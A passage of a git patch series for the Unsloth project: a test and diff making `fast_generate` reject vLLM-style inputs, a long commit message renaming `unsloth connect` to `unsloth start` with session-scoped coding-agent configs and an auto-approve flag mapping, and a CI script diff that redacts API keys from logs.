+def _wrapper():
+    state = {}
+
+    def original_generate(*a, **k):
+        state["hit"] = True
+        return "ok"
+
+    return make_fast_generate_wrapper(original_generate), state
+
+
+def _rejects(fn, needle):
+    try:
+        fn()
+    except ValueError as e:
+        assert needle in str(e), str(e)
+        return True
+    raise AssertionError("expected ValueError")
+
+
+def test_fast_generate_slow_guard():
+    w, _ = _wrapper()
+    # reject every vLLM-only shape
+    assert _rejects(lambda: w("hello"), "fast_inference=True")
+    assert _rejects(
+        lambda: w({"prompt": "hi", "multi_modal_data": {"image": None}}), "fast_inference=True"
+    )
+    assert _rejects(lambda: w(["a", "b"]), "fast_inference=True")
+    assert _rejects(lambda: w([{"prompt": "hi"}]), "fast_inference=True")  # list of prompt dicts
+    assert _rejects(
+        lambda: w({"prompt_token_ids": [1, 2, 3]}), "fast_inference=True"
+    )  # vLLM TokensPrompt
+    assert _rejects(lambda: w(prompts = "hello"), "fast_inference=True")  # vLLM `prompts` kwarg
+    assert _rejects(
+        lambda: w(prompts = [{"prompt": "hi"}]), "fast_inference=True"
+    )  # vLLM `prompts` kwarg list
+    assert _rejects(
+        lambda: w(prompt_token_ids = [1, 2, 3]), "fast_inference=True"
+    )  # vLLM legacy tokenized kwarg
+    assert _rejects(
+        lambda: w(prompts = [1, 2, 3]), "fast_inference=True"
+    )  # token-id list via vLLM-only `prompts` kwarg
+    assert _rejects(
+        lambda: w(prompts = None), "fast_inference=True"
+    )  # vLLM-only kwarg present even if None
+    assert _rejects(lambda: w({"prompt": "hi"}, _SamplingParams()), "sampling_params")
+    assert _rejects(
+        lambda: w({"prompt": "hi"}, [_SamplingParams()]), "sampling_params"
+    )  # list of SamplingParams
+    assert _rejects(lambda: w(sampling_params = object()), "sampling_params")
+
+    # pass normal tokenized calls with no false positives
+    w, state = _wrapper()
+    assert w(input_ids = "TOKENS", max_new_tokens = 8) == "ok" and state.get("hit")
+    assert w([1, 2, 3], max_new_tokens = 8) == "ok"  # positional token ids
+    assert w([], max_new_tokens = 8) == "ok"  # empty positional
+    print("13 reject + 3 pass fast_generate slow-mode guard cases passed")
+
+
+if __name__ == "__main__":
+    test_fast_generate_slow_guard()
+    print("OK: fast_generate rejects vLLM-style inputs when fast_inference=False")
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 599a5c0262..047783c35e 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -3602,8 +3602,27 @@ def make_fast_generate_wrapper(original_generate):
 
     @functools.wraps(original_generate)
     def _fast_generate_wrapper(*args, **kwargs):
-        # Check for vLLM-specific arguments
-        if "sampling_params" in kwargs:
+        def _has_sampling_params(a):
+            # SamplingParams passed directly or inside a positional list/tuple
+            return type(a).__name__ == "SamplingParams" or (
+                isinstance(a, (list, tuple))
+                and any(type(i).__name__ == "SamplingParams" for i in a)
+            )
+
+        def _is_vllm_prompt(a):
+            # str prompt, a vLLM prompt dict (prompt / prompt_token_ids / prompt_embeds /
+            # multi_modal_data), or a list/tuple of those
+            head = a[0] if isinstance(a, (list, tuple)) and len(a) > 0 else a
+            return isinstance(head, str) or (
+                isinstance(head, dict)
+                and any(
+                    k in head
+                    for k in ("prompt", "prompt_token_ids", "prompt_embeds", "multi_modal_data")
+                )
+            )
+
+        # vLLM-only; also catch SamplingParams passed positionally (fast_generate(prompt, params))
+        if "sampling_params" in kwargs or any(_has_sampling_params(a) for a in args):
             raise ValueError(
                 "Unsloth: `sampling_params` is only supported when `fast_inference=True` (vLLM). "
                 "Since `fast_inference=False`, use HuggingFace generate arguments instead:\n"
@@ -3616,33 +3635,26 @@ def make_fast_generate_wrapper(original_generate):
                 "Since `fast_inference=False`, LoRA weights are already merged into the model."
             )
 
-        # Check if first positional argument is a string or list of strings
-        if len(args) > 0:
-            first_arg = args[0]
-            is_string_input = False
-
-            if isinstance(first_arg, str):
-                is_string_input = True
-            elif isinstance(first_arg, (list, tuple)) and len(first_arg) > 0:
-                if isinstance(first_arg[0], str):
-                    is_string_input = True
-
-            if is_string_input:
-                raise ValueError(
-                    "Unsloth: Passing text strings to `fast_generate` is only supported "
-                    "when `fast_inference=True` (vLLM). Since `fast_inference=False`, you must "
-                    "tokenize the input first:\n\n"
-                    "  messages = tokenizer.apply_chat_template(\n"
-                    '      [{"role": "user", "content": "Your prompt here"}],\n'
-                    "      tokenize=True, add_generation_prompt=True,\n"
-                    '      return_tensors="pt", return_dict=True\n'
-                    "  )\n"
-                    "  output = model.fast_generate(\n"
-                    "      **messages.to('cuda'),\n"
-                    "      max_new_tokens=64,\n"
-                    "      temperature=1.0,\n"
-                    "  )"
-                )
+        # A vLLM-style prompt (string, {"prompt":..., "multi_modal_data":...} dict, or a list/tuple
+        # of either) only works under vLLM; tokenize first when fast_inference=False. A positional
+        # arg may be HF token ids, so check it conservatively with _is_vllm_prompt. The `prompts` /
+        # `prompt_token_ids` / `prompt_embeds` keywords are vLLM-only names that HuggingFace generate
+        # does not accept, so any of them being present is a vLLM-style call (even a bare token list,
+        # or an explicit None from a defaulted kwargs dict), hence membership rather than a value check.
+        vllm_prompt_kwarg = any(
+            k in kwargs for k in ("prompts", "prompt_token_ids", "prompt_embeds")
+        )
+        if (len(args) > 0 and _is_vllm_prompt(args[0])) or vllm_prompt_kwarg:
+            raise ValueError(
+                "Unsloth: Passing vLLM-style prompts to `fast_generate` is only supported when "
+                "`fast_inference=True` (vLLM). Since `fast_inference=False`, tokenize first:\n\n"
+                "  inputs = tokenizer.apply_chat_template(\n"
+                '      [{"role": "user", "content": "Your prompt here"}],\n'
+                "      tokenize=True, add_generation_prompt=True,\n"
+                '      return_tensors="pt", return_dict=True,\n'
+                "  )\n"
+                "  output = model.fast_generate(**inputs.to('cuda'), max_new_tokens=64, temperature=1.0)"
+            )
 
         # Call original generate
         return original_generate(*args, **kwargs)

From b8400f40df39a3c006284cedfe31b8e4fb0a5131 Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Fri, 3 Jul 2026 20:47:27 +0530
Subject: [PATCH 185/306] CLI: Rename unsloth connect to unsloth start (#6613)

* replaced connect with start

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix

* Studio: build the coding-agent command from the selected server

The API keys panel showed a hardcoded `unsloth start claude`. `unsloth start`
defaults to 127.0.0.1:8888 and only mints a key for a loopback server, so a
non-default port or a tunnel/remote base would target the wrong server or fail
to mint. Build the command from the panel base/key (and emit a key for
non-loopback), matching the other snippets in the panel.

* CLI: keep `unsloth connect` as a hidden alias for `unsloth start`

Avoids breaking existing scripts and docs that still call `unsloth connect`.

* Tests: stub _unstarted_cleanup in same-task disconnect test

The test builds _SameTaskStreamingResponse via __new__, so set the attribute
that __call__ now reads.

* Match coding-agent command loopback check to the CLI 127.0.0.0/8 rule (#6613)

* Keep unsloth_cli.commands.connect importable as a deprecated shim (#6613)

* Format the new coding-agents panel strings and import per biome (#6613)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop the unsloth connect alias and shim; unsloth start is the only command (#6613)

* Route unsloth connect to unsloth start as a hidden backward-compatible alias (#6613)

* Forward unsloth run model-load flags to unsloth start (gguf-variant, context-length, load-in-4bit, tensor-parallel) (#6613)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Session-scope coding agent config in unsloth start

Configure each agent for the current session instead of writing the Studio endpoint, key, and default model into the user's own config. Codex, OpenCode, OpenClaw, and Hermes get a private config relocated through their config-path env vars (CODEX_HOME, OPENCODE_CONFIG overlay, OPENCLAW_CONFIG_PATH plus OPENCLAW_STATE_DIR, HERMES_HOME). Claude Code suppresses the attribution header for the session via the CLAUDE_CODE_ATTRIBUTION_HEADER env var plus a --settings overlay, with no ~/.claude write. --launch uses an ephemeral temp dir removed after the agent exits; --no-launch uses a stable Unsloth-owned dir and prints the matching export lines.

* Read relocated agent session config in Local Agent Guides CI

The contract crosscheck and the openclaw/hermes patch helpers now read each agent's config from the relocated path printed by unsloth start --no-launch (CODEX_HOME, OPENCODE_CONFIG, OPENCLAW_CONFIG_PATH, HERMES_HOME) instead of fixed home paths. The Claude attribution A/B toggles the header for the session only (shipped-config HIT vs vanilla MISS) instead of editing ~/.claude/settings.json.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Skip the POSIX-only --no-launch parser test on Windows

test_no_launch_output_is_parseable mirrors the #6547 bash CI parser, which greps export/unset lines and only runs on Linux/macOS runners. On Windows --no-launch prints PowerShell ($env: / Remove-Item), so the export-line assertion does not apply there. Cross-OS staging CI surfaced this.

* Size Claude Code's auto-compact window to the loaded model's context

Claude Code auto-compacts against its native (~600k token) window, so against a smaller local model it overflows the server's context (silent truncation) long before it compacts. Set CLAUDE_CODE_AUTO_COMPACT_WINDOW to the loaded model's real context length (the value codex/openclaw already get via model_context_window / contextWindow). Omitted when the model reports no context length.

* Pin OpenCode/Hermes context window and set 90% compaction across agents

Feed every agent the server-determined sequence length (the value /v1/models reports from runtime_context_length) and a ~90% compaction threshold. OpenCode: a custom-provider model with no limit defaults to context 0, which silently disables auto-compaction, so set limit.context/output and scale the compaction buffer to 10% of the window. Hermes: pin model.context_length (it otherwise falls back to a 256k default when the server's /v1/models omits the field) and set compression.threshold 0.9. Claude: add CLAUDE_AUTOCOMPACT_PCT_OVERRIDE=90 alongside the window. Codex (model_context_window) and OpenClaw (contextWindow) already carried the window and auto-manage off it.

* Add `unsloth start pi` recipe

Pi was the only agent without a built-in recipe, so the agent-guides CI
hand-wrote ~/.pi/agent/models.json. Add a first-class `pi` command mirroring
the others:

- write_pi_config writes the session-scoped OpenAI-compatible provider config
  (key in the config, like openclaw/opencode).
- pi() launches `pi --provider unsloth --model <id>` (Pi defaults to the google
  provider, so the provider/model are pinned on the command line) with HOME
  relocated for the session. Pi has no config-dir env var and resolves ~/.pi off
  $HOME, so HOME-scoping keeps the user's ~/.pi untouched.

Migrate the agent-guides CI off the hand-written config onto the
`unsloth start pi --no-launch` path (connection + file-edit), with a crosscheck
for the provider api, so the documented recipe is exercised.

* Harden unsloth start for Windows and WSL agent launches

Address the Codex review on PR 6613:
- write_pi_config now pins the loaded contextWindow and a sane maxTokens so Pi
  compacts instead of overflowing a small Studio context (it otherwise assumes
  its 128000 default), matching the other agents.
- pi() sets USERPROFILE (and HOMEDRIVE/HOMEPATH when present) alongside HOME on
  native Windows, where Node resolves ~/.pi via USERPROFILE rather than HOME, so
  the session no longer reads or writes the user's real ~/.pi.
- The WSLENV bridge flags path-valued vars with /p so a Windows npm shim under
  /mnt receives translated paths, while scalar vars (the numeric context window)
  pass through untranslated. WSLENV is deduped on the bare name.
- _print_env prints the launch command with PowerShell-safe quoting so the inline
  --settings JSON survives copy-paste on native Windows --no-launch.

Add tests for the WSLENV path flagging, PowerShell quoting, the Pi context
window, and the Pi USERPROFILE relocation.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Set CLAUDE_CODE_NO_FLICKER for the Claude session

A local server streams in bursts, so Claude Code's full-screen TUI redraw
flickers between tokens. Disable it for the session via CLAUDE_CODE_NO_FLICKER,
alongside the other CLAUDE_CODE_* session env knobs.

* Add a normalized --yolo flag routed to each agent's auto-approve mode

It is easy to forget which agent spells "run tools without prompting" which way,
so `unsloth start` now accepts all three spellings as one option (--yolo,
--dangerously-skip-permissions, --dangerously-bypass-approvals-and-sandbox) and
routes to the agent's own mechanism:

- claude:   --dangerously-skip-permissions
- codex:    --dangerously-bypass-approvals-and-sandbox
- hermes:   --yolo
- pi:       --approve (Pi's only approval gate is project trust)
- opencode: a permission allow block in opencode.json (no CLI flag exists)
- openclaw: tools.exec security=full / ask=off / host=gateway (no CLI flag exists)

Because the option is parsed by `unsloth start`, the "wrong" spelling for an
agent still routes correctly instead of leaking through to the agent and erroring.
IS_SANDBOX is deliberately left unset for Claude so its root/sandbox safety gate
still applies. Adds routing, cross-routing, and per-config tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix review findings: IPv6 loopback command, pi USERPROFILE under WSL, yolo guard

From a 10-reviewer pass over the PR:

- studio/frontend agent-command.ts: normalize bracketed IPv6 hosts. URL.hostname
  returns "[::1]" for http://[::1]:8888, which never matched the "::1" loopback
  checks, so the copied command embedded the placeholder API key for a local IPv6
  server instead of the bare auto-minting command. Now [::1] is treated as loopback
  like the CLI's is_loopback_url, so the command matches the CLI contract.

- pi(): also relocate USERPROFILE (and HOMEDRIVE/HOMEPATH) when running under WSL
  against a /mnt Windows shim, not just on native Windows. Windows Node resolves
  ~/.pi via USERPROFILE, and the WSLENV bridge translates the path, so pi no longer
  falls back to the user's real ~/.pi in that case.

- _yolo_command_flags: use .get so a config-based agent (or a typo) yields no flag
  instead of a latent KeyError.

Adds tests for the WSL pi USERPROFILE relocation, the yolo unmapped-agent guard,
and that opencode/openclaw --yolo stays config-only (no argv flag).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix round-2 review findings: WSLENV /p upgrade, agent help text

- _merge_wslenv now upgrades a user's pre-existing unflagged WSLENV entry (e.g. a
  bare HOME or USERPROFILE) to the path-translated form (HOME/p) instead of leaving
  it as-is, so a Windows agent shim under WSL receives the translated session path
  rather than the raw Linux path.
- Generalize the `unsloth start` registration help to list all six agents (was only
  "Claude Code, Codex").

Adds a test for the WSLENV unflagged-entry upgrade.

* Fix round-3 review findings: complete openclaw --yolo, refresh stale copy

- openclaw --yolo now also writes the host approvals file (exec-approvals.json with
  defaults security=full / ask=off / askFallback=full) alongside the tools.exec
  config. OpenClaw gates tool execution on both layers (the stricter wins), so the
  config alone could still leave it prompting or denying. Mirrors `openclaw
  exec-policy preset yolo`. ask=off means nothing is ever prompted, so the runtime
  socket block is unnecessary.
- Studio API panel copy: clarify that a local server auto-mints the key while a
  remote one embeds it in the command, and add pi to the swap hint.
- Local Agent Guides CI: drop the stale "pi has no start.py recipe" note now that
  all six agents are driven via `unsloth start <agent> --no-launch`.

Adds the openclaw approvals-file assertions and a no-yolo openclaw test.

* start: parse claude --version with a regex so a format change does not drop optimization flags

* start: offer to install a missing agent (prompt then run its install command)

* start: auto-start a Studio server for --model when none is running, and stop it on exit

* inference: surface an actionable message when llama-server cannot compile a tool grammar

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix review findings: kill the auto-started server tree on Windows; apply the tool-grammar message to the OpenAI passthrough too

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* start: split --model org/repo:variant so a running session is not evicted

`unsloth start <agent> --model org/repo:QUANT` failed against an already-running
Studio server and, worse, killed whatever model another session had loaded.

/v1/models lists a loaded GGUF under its bare repo id (e.g. unsloth/Qwen3-1.7B-GGUF),
so _resolve_model never matched the `:QUANT`-suffixed request. It then POSTed
/api/inference/load with model_path=org/repo:QUANT, which (a) Hugging Face rejects
("Repo id must use alphanumeric chars, '-', '_' or '.'") and (b) evicts the model the
other session was using, so a second 'unsloth start' in a new tmux/terminal tore down
the first. Re-running the command then attached to the now-empty server, which is why
it 'worked the second time'.

Mirror the org/repo:QUANT -> org/repo + --gguf-variant QUANT shorthand that
'unsloth run' and llama.cpp already accept, splitting it in _connect before we match or
serve. Matching now resolves against the loaded bare repo id (no spurious reload, no
eviction), and any real load uses a valid repo id plus gguf_variant. An explicit
--gguf-variant still wins; local paths and Windows drive letters pass through untouched.
The auto-serve path likewise spawns 'unsloth run --model org/repo --gguf-variant QUANT'.

* start: harden auth-key handling, codex teardown, and CI transcript redaction

Three review findings:

1. CI could leak a live key. agent-guides-drive.sh printed the raw
   'unsloth start --no-launch' transcript (which carries export UNSLOTH_API_KEY /
   ANTHROPIC_AUTH_TOKEN lines) to the Actions log on both the failure path and the
   success path before redact() ran. Add cat_redacted() and use it for those two
   prints, so the key is scrubbed on the way to the log while the on-disk file stays
   intact for the env parsing that follows.

2. Outages masqueraded as bad keys. _key_accepted caught a broad Exception and
   returned False, so a 5xx or timeout while checking a cached key looked like a
   rejection: it discarded a good key and minted extra ones (local) or reported 'no
   saved key' (remote). Only treat HTTP 401/403 as a rejection; let other errors
   propagate so a real outage surfaces.

3. Codex preflight could leave the auto-started server up. _require_gguf_for_codex
   runs after _connect may have auto-started Studio but before _run installs its
   teardown finally, so a preflight rejection (e.g. a transformers-backend model) left
   the server holding the port/GPU until the atexit backstop. Tear it down explicitly
   at the point of failure.

Tests: a 5xx on a saved key surfaces without minting; a non-GGUF codex preflight
tears down the auto-served server.

* start: fix IPv6/portless studio URLs, Pi config-dir isolation, and Pi install recipe

Four review findings:

1. Pi ignored the session config when PI_CODING_AGENT_DIR was already set. Pi's
   getAgentDir() reads process.env.PI_CODING_AGENT_DIR before falling back to
   $HOME/.pi/agent, so a value inherited from the user's shell sent Pi to their real
   config and skipped our provider/key (the HOME relocation alone was not enough). Pin
   PI_CODING_AGENT_DIR at the session's .pi/agent dir; it is path-valued so the WSL
   bridge translates it automatically.

2. Pi install hint dropped Pi's documented --ignore-scripts. Pi's README installs with
   'npm install -g --ignore-scripts @earendil-works/pi-coding-agent' and notes it needs
   no install scripts, so accepting the prompt now follows that safe recipe.

3. Auto-start ignored a portless UNSLOTH_STUDIO_URL. unsloth run binds to
   'parsed.port or 8888', so http://127.0.0.1 launched the child on 8888 but the health
   poll (and the returned base) still used port 80, stalling until the startup timeout.
   Normalize the base to host:8888 (IPv6-safe) before starting and polling.

4. API-panel command mistook IPv6 loopback for the bare default. The bare 'unsloth
   start' only probes 127.0.0.1:8888 on the IPv4 stack, so http://[::1]:8888 must carry
   an explicit UNSLOTH_STUDIO_URL. Drop ::1 from the bare-default host set while keeping
   it a loopback host (URL emitted, no key needed).

Tests: PI_CODING_AGENT_DIR is set to the session dir; _effective_base normalizes
portless/IPv6 bases; a portless UNSLOTH_STUDIO_URL auto-serves on :8888.

* start: apply fresh-review findings across CLI, CI, and the API-panel command

From a fresh multi-reviewer pass over the merged head plus the latest Codex bot review:

1. Load knobs now always consult the server. _resolve_model matched on model id alone,
   so --gguf-variant / --context-length / --no-load-in-4bit / --tensor-parallel were
   silently ignored whenever the id was already loaded (asking for UD-Q4_K_XL kept a
   Q8_0 serving). With any explicit knob the CLI defers to /api/inference/load, whose
   already-loaded dedup answers without reloading when variant and settings match, so a
   second session running the same command still attaches without evicting the first.

2. OpenCode --yolo and the session model pin now ride in OPENCODE_CONFIG_CONTENT. A
   project's own opencode.json outranks OPENCODE_CONFIG, so a repo config could silently
   override the session model and the --yolo permission block; OPENCODE_CONFIG_CONTENT
   outranks project config. The API key stays in the private file, never in printed env.

3. The --no-launch recipe's last line is a self-contained one-liner (inline VAR=value
   assignments before the command, conflicting vars blanked). People copy just the last
   line, and a bare codex/claude there ran against the user's real ~/.codex or Anthropic
   credentials with zero isolation, e.g. inheriting a pre-existing damaged ~/.codex
   state DB and blaming the recipe. The CI drive script scrubs the key from the one
   'invoking:' echo this adds.

4. The auto-serve log is 0600 and the parent handle is closed. It sat world-readable in
   the shared tempdir under a predictable name while carrying the minted sk-unsloth-
   key from the unsloth run banner.

5. _key_accepted fails with a clean message on outages. Non-auth errors (5xx, network,
   timeout) surfaced as a raw traceback; 401/403 still mean a rejected key.

6. _effective_base strips URL paths, and https loopback targets never auto-serve.
   http://127.0.0.1:8888/studio polled /studio/api/health (404) and https://127.0.0.1
   polled the wrong scheme, both spinning until the 15-minute startup timeout.

7. API-panel command: only literal 127.0.0.1:8888 earns the bare command. localhost can
   resolve to ::1, which the bare CLI never probes, so it keeps UNSLOTH_STUDIO_URL.

8. CI artifact sweep covers redacted-configs/ and agent-workdir/, not just logs/.

Tests: 125 CLI tests pass (new coverage for each fix), 156 backend tests pass, ruff
clean. Adds an unsloth connect alias regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* start: hand Pi a clean screen at launch

Pi paints inline from wherever the cursor sits: its first render assumes a
clean screen instead of clearing or entering the alternate screen itself
(current Pi never emits a clear at startup). Launched under unsloth start,
that left the session starting mid-scroll beneath the connection output.
Clear the screen (click.clear, cross-platform, no-op without a TTY) right
before the Studio banner so Pi opens exactly one line down on a clean
viewport. Launch path only: --no-launch recipes and piped output are never
wiped, and alternate-screen agents are left alone.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* start: auto-override hermes' 64K context floor for small model windows

Hermes refuses to initialize when the served model's context window is
under 64,000 tokens, and a second copy of the same check rejects the
compression model mid-session. write_hermes_config previously pinned the
real window, so any small local model (e.g. 40,960) failed at startup
with manual config.yaml instructions.

For windows below the floor the recipe now claims 65,536 in
model.context_length, scales compression.threshold so compaction still
fires at 90% of the real window, and sets
auxiliary.compression.context_length to cover the mid-session check.
Windows at or above the floor keep the exact previous behavior.

* ci: install pi with --ignore-scripts, matching the start.py hint

The pi cell predates the pi recipe in start.py and still installed the
package with lifecycle scripts enabled, so CI stopped exercising the
exact command users are prompted to run. npm_retry now passes extra
flags through, the pi branch mirrors the install hint verbatim, and the
stale no-recipe comment is refreshed.

* ci: fail loudly when a relocation var is missing from connect output

The empty-string guards ran after appending /config.toml or /config.yaml,
so they could never fire: crosscheck_contract silently skipped its
contract checks and patch_hermes_tools died on the root path with a bare
traceback. Check the raw variable first and guide_fail with the real
cause.

* staging: 6613 round 6 (https elision, no-launch home reuse, auto-start key fallback)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: shimmyshimmer <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: Wasim Yousef Said <wasimysdev@gmail.com>
---
 .github/scripts/agent-guides-drive.sh         |  274 +--
 .github/scripts/agent-guides-install.sh       |   33 +-
 .github/scripts/serve-unsloth-run.sh          |    2 +-
 .github/workflows/local-agent-guides-ci.yml   |   50 +-
 studio/backend/routes/inference.py            |   32 +-
 .../tests/test_openai_tool_passthrough.py     |   27 +
 .../settings/components/agent-command.ts      |   73 +
 .../settings/components/usage-examples.tsx    |   41 +
 studio/frontend/src/i18n/locales/en.ts        |    4 +
 unsloth_cli/__init__.py                       |   13 +-
 unsloth_cli/commands/connect.py               |  777 -------
 unsloth_cli/commands/start.py                 | 1497 +++++++++++++
 unsloth_cli/tests/test_connect.py             |  954 ---------
 unsloth_cli/tests/test_start.py               | 1848 +++++++++++++++++
 14 files changed, 3722 insertions(+), 1903 deletions(-)
 create mode 100644 studio/frontend/src/features/settings/components/agent-command.ts
 delete mode 100644 unsloth_cli/commands/connect.py
 create mode 100644 unsloth_cli/commands/start.py
 delete mode 100644 unsloth_cli/tests/test_connect.py
 create mode 100644 unsloth_cli/tests/test_start.py

diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh
index 3c7cea919c..9b85b20177 100755
--- a/.github/scripts/agent-guides-drive.sh
+++ b/.github/scripts/agent-guides-drive.sh
@@ -6,12 +6,12 @@
 # Local Agent Guides CI. All failures from here are failure class (c)
 # "guide drift": the server preflight already passed and the agent CLI
 # already installed, so a failure here means the documented recipe in
-# unsloth_cli/commands/connect.py no longer produces a working flow.
+# unsloth_cli/commands/start.py no longer produces a working flow.
 #
-# Self-updating: for the 5 agents with a connect.py recipe we obtain the
-# exact env + command from `unsloth connect <agent> --no-launch` and run
-# THAT, so a recipe change is exercised automatically. Pi (no connect.py
-# command at HEAD) is driven by a hand-written recipe.
+# Self-updating: for all six agents (claude, codex, hermes, openclaw,
+# opencode, pi) we obtain the exact env + command from
+# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is
+# exercised automatically.
 #
 # Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
 # can never hang the runner -- a timeout is reported as guide drift with a
@@ -53,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs"
 WORKDIR_BASE="$REPO_ROOT/agent-workdir"
 CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
 mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
-CONNECT_REF="unsloth_cli/commands/connect.py"
+CONNECT_REF="unsloth_cli/commands/start.py"
 
 # Prefill-shrinking flags for Claude Code. The heavyweight agents send
 # multi-thousand-token system prompts + full tool schemas, which on a CPU-only
 # runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
 # Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
 # and restricting tools cuts the prefill to a few hundred tokens so it completes
-# quickly on CPU. These only shape the request size; the connect.py recipe
+# quickly on CPU. These only shape the request size; the start.py recipe
 # (endpoint, auth, model) is still exercised end to end.
 #
 # The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
@@ -105,6 +105,13 @@ redact() {
   done
 }
 
+# Print a file to the log with the key scrubbed, without mutating it (the raw file is
+# still needed to parse the real env). Use this instead of `cat` for any transcript that
+# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs.
+cat_redacted() {
+  sed "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$1"
+}
+
 # A reply must be non-empty and free of connection/auth errors.
 assert_reply() {
   local out="$1"
@@ -131,45 +138,29 @@ run_timed() {  # $1=outfile, rest=command
   return "$rc"
 }
 
-# ── Pi: no connect.py command at HEAD -> hand-written recipe ──────────────
-write_pi_config() {
-  if unsloth connect pi --help >/dev/null 2>&1; then
-    # Tripwire: once a real recipe exists, the hand-written config would mask any
-    # drift in it, defeating the point of this CI. Fail hard so the cell is
-    # migrated to the self-updating `unsloth connect pi --no-launch` path.
-    guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)"
-  fi
-  mkdir -p "$HOME/.pi/agent"
-  python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY'
-import json, os, sys
-base, key, model = sys.argv[1], sys.argv[2], sys.argv[3]
-cfg = {"providers": {"unsloth": {
-    "api": "openai-completions",
-    "baseUrl": f"{base}/v1",
-    "apiKey": key,
-    "models": [{"id": model}],
-}}}
-path = os.path.expanduser("~/.pi/agent/models.json")
-with open(path, "w") as fh:
-    json.dump(cfg, fh, indent=2)
-PY
-  cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true
-  redact "$REDACTED_DIR/pi-models.json"
+# Read a value from an `export VAR=...` line in the connect --no-launch output.
+# `unsloth start` writes each agent's session config off the user's ~ and points
+# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG /
+# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here.
+raw_env() {  # $1 = var name -> value (one shlex-quote layer stripped)
+  local raw="$LOGS_DIR/connect-${AGENT}.txt"
+  local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)"
+  v="${v#\'}"; v="${v%\'}"; printf '%s' "$v"
 }
 
-# ── 5-agent connect.py path: parse env + command from --no-launch ─────────
+# ── 5-agent start.py path: parse env + command from --no-launch ─────────
 # Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
-# launch command on the last printed line), and runs connect.py's config
-# writers as a side effect (it writes ~/.codex, ~/.claude, etc.).
+# launch command on the last printed line), and runs start.py's config
+# writers as a side effect (it writes each agent's relocated session config).
 parse_connect() {
   local raw="$LOGS_DIR/connect-${AGENT}.txt"
-  if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
-    cat "$raw"
-    guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero"
+  if ! unsloth start "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
+    cat_redacted "$raw"
+    guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
   fi
-  echo "[$AGENT] connect --no-launch printed:"; cat "$raw"
+  echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
   CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
-  # The launch command is the last non-export, non-status line. connect.py
+  # The launch command is the last non-export, non-status line. start.py
   # prints "Studio <url> · model <id>" and "Updated ..." status lines first.
   CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
     | grep -E '[^[:space:]]' | tail -1)"
@@ -177,45 +168,63 @@ parse_connect() {
   redact "$raw"
 }
 
-# Cross-check the documented contract knobs so silent connect.py changes
+# Cross-check the documented contract knobs so silent start.py changes
 # (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
 crosscheck_contract() {
   local raw="$LOGS_DIR/connect-${AGENT}.txt"
+  local cfg home
   case "$AGENT" in
     codex)
       grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
-        || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)"
-      if [ -f "$HOME/.codex/config.toml" ]; then
-        grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \
-          || guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml"
-        cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml"
+        || guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)"
+      home="$(raw_env CODEX_HOME)"
+      # An empty relocation var would make cfg "/config.toml" and silently
